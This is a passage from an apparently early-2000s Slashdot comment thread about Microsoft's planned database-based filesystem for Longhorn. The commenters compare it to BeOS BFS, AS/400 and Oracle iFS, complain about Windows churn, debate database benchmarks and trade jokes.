    Hey! Attacking Microsoft is Karma Whoring not flamebait!

    Methinks the mods need to look at developing a sense of humor. It was a joke - next time must remember smilies.

    :)

    --
    -- When a fool hears of the Tao, he will laugh out loud.
  92. Maybe. by Zapdos · · Score: 1

    If the filesystem is a database, Then maybe MS Backup/Restore just might actually work
    ...Then everyone will buy new tape drives
    ...which will lower tape drive cost.
    ...Then I can buy a new tape drive.

  93. Winsupersite by Metrollica · · Score: 3, Informative

    I don't know if anyone put a link down the WinSuperSite so there it is. It has screenshots, some fake, some real, and a long description of the operating system. Worth a look.

    --



    --Metrollica
  94. Reminicent of AS400 by broter · · Score: 1

    "ile systems would become plug-ins for a raw, native relational data store. "

    This reminds me of the IBM AS400 setup, where the fs is an RDB. Any AS400 people care to comment?

    --
    "One man can change the world with a bullet in the right place."
    - Mick Travis, "If..."
  95. Re:MS Operating Systems by Bake · · Score: 1

    Better GUI, better application support, better security, better use of memory, better networking, better everything

    check, check, WHAT?, hahahah!, you're funny, 2 out of 5 ain't bad though.

  96. Jesus Christ Bill! by fdisk3hs · · Score: 1

    Bill, you are killing me. Every two years I have to learn a new OS from scratch and figure out how to set up all my customers with new machines with your new OS which is "completely redesigned". Aargh! Sure, DOS lasted about 15 years, but Windows was first sitting on DOS, then '95 blew me out of the water. And NT was pretty different. Ok, on top of that, hey, it's Windows 2000. Take NT and then start memorizing screen after screen of GUI "manager tools". Now XP is 2000 with cartoons and a lot of new screens to learn. Now you're blowing me out of the water AGAIN, and I have to keep defending this Registration system to my clients?

    UNIX has lots of tools, but the basic concepts and tools are text files that are edited in a text editor. Everything is a file. Once you learn it, sure, you'll want new tools for security, or a better technology to perform this or that task, but generally someone that was using PDP-11's could jump on a modern UNIX box, read a few docs and be up to speed.

    Put your vendors' backs against the wall and you're going to have a backlash on your hands...

    Lincoln Rutledge

  97. ...rereads the article by broter · · Score: 1

    ...Duh.... Yeah. It says that right there.... Sorry about that...

    --
    "One man can change the world with a bullet in the right place."
    - Mick Travis, "If..."
  98. Look at the ALL results.. by spasmatik · · Score: 1

    THe speed of SQL Server 2k comes from its ability to horizontally partition tables across a cluster. Its clustered and its cheaper. You need to compare SQL server is limited to clusters because it runs on Intel hardware. Since when isnt' cost important? and now clusters are shitty?. an oracle *nix solution costing 2x as much and not as fast is better? i am sure Oracle or DB2 might be the best choice right now because of maturity but claiming something is crap when its plain faster and cheaper is silly. If Oracle was at the top you'd be quoting the results. If you look at who sponsors tpc you will notice some pretty familiar names. larry ellison is just as big of a greedy bastard as bill gates is. Oracle has been over charging for its products for years.

    1. Re:Look at the ALL results.. by Malcontent · · Score: 2

      " greedy bastard as bill gates is"

      Agreed. Bill gates may be the greediest, most evil person on the planet but ellison is close. Bin Laden is third probably (well maybe second).

      --

      War is necrophilia.

  99. In other news... by tswinzig · · Score: 2

    In light of these naming tie-ins to Whistler mountain, the Blue Screen of Death will be replaced in subsequent versions of Windows by a skinny guy with an afro whining, "I think I just made yellow snow."

    (Sorry, I've been playing too much SSX Tricky lately.)

    --

    "And like that ... he's gone."
  100. ...and read up on BFS by Simon · · Score: 1

    The filesystem that BeOS uses is database oriented and allows complex queries in (basically) real time over the whole file system and it's metadata. I've used it in the past and was amazed.

    This is the best link I could find so far that tries to explain the advantages:

    http://www.osnews.com/story.php?news_id=421&page =1 3

    I just hope that Linuxland listens to Reiser sooner instead of later. He does have the vision to bring some real progress to filesystems.

    --
    Simon

  101. It's too hard by IamTheRealMike · · Score: 1

    I did try and write a plugin for Explorer once (not a fs driver, just a COM plugin a la ZipFolders), and after a frustrating few weeks managed to trash my copy of Explorer - I had to reinstall Windows. Eventually I got it working, but at what cost!

    I'll tell you why nobody writes FS plugins (a feature that I maintain till this day was a good idea, innovative even, spoilt by bad implementation) - even getting the "minimal" hello world plugin requires creation of several different COM objects, with virtually zero documentation, and when it does exist it's often inaccurate.

    I have nothing but respect for the ZipFolders guys, I tried to do something similar and failed miserably.

    thanks -mike

  102. Agreed! by Pope · · Score: 1

    Now let's eradicate the folks who type all lower-case ;)

    --
    It doesn't mean much now, it's built for the future.
    1. Re:Agreed! by Lucretius · · Score: 1

      agreed... next to go, all those with vaguely Latin sounding names :-)

  103. From a database perspective by leandrod · · Score: 2

    First, obviously any minimally decent relational-like, even SQL database is better than any non-relational (object, hierarchical) one &ndash& before proceeding please read Database Debunkings. So substituting MS SQL Server for NTFS should be A Good Thing(tm).

    Second, SQL isn't a good implementation of the relational model... so it doesn't matter what's the management system behind it (MS SQL, DB/2, Oracle), if it's SQL it's not ideal -- a really relational system should be faster, have less arbitrary restrictions, and do everything a hierarchical or OO database management system could possibly do. But still SQL would be far better than any hierarchical or OO filesystem.

    Third, as a SQL implementation MS SQL isn't quite ideal, and Jet (Access, Exchange, the registry) is simply horrible. So while this will probably improve Windows feature-wise, it will make Windows even more bloated, perhaps even less stable and slower. But if they manage to fix the database engine, it could even make Windows faster and more stable.

    Fourth, this has already been done. By Oracle. It's called iFS (sorry but I couldn't access Oracle site to get a better page), and exports SMB and other filesystems. As Oracle is too big, proprietary and isn't even SQL compliant, and iFS does not support NFS, I didn't care much about it, but I may have an opportunity to use it as a kind of version control for binaries very shortly.

    Last but not least, this idea should be adopted by the Free Software comunity ASAP. We should create a really relational implementation, ideally based on Tutorial D -- there's already a SourceForge project, but nothing has been done up to now. Then this would became a Hurd filesystem (because of Hurd's flexibility) to be ported to Linux. That would blow Longhorn out of water.

    If we don't do it better than Microsoft, and if computers continue to get faster and Windows less unreliable, we could have serious competition, say some two or three generations after Longhorn.

    --
    Leandro Guimarães Faria Corcete DUTRA
    DA, DBA, SysAdmin, Data Modeller
    GNU Project, Debian GNU/Lin
  104. Microsoft Winux by OpenLith · · Score: 1

    What if MS were to apply the Apple Mac OS X model to Windows, using GNU Linux instead of BSD? Darwin is (nominally) open, yet Apple retains control through its Aqua/Carbon/Cocoa model. Let's call a theoretical GNU Linux layer "Dante" (similar to Darwin), the MS-Windows backward-compatibility emulation environment "Wintel" (like Classic) and the new part of the OS "Winux" (like Carbon/Cocoa/Aqua/X-Windows). Couldn't such an OS allow MS to retain its monopoly while effectively seizing control of Linux? Would this be a victory for Linux, or would Dante destroy everything penguinheads hold dear?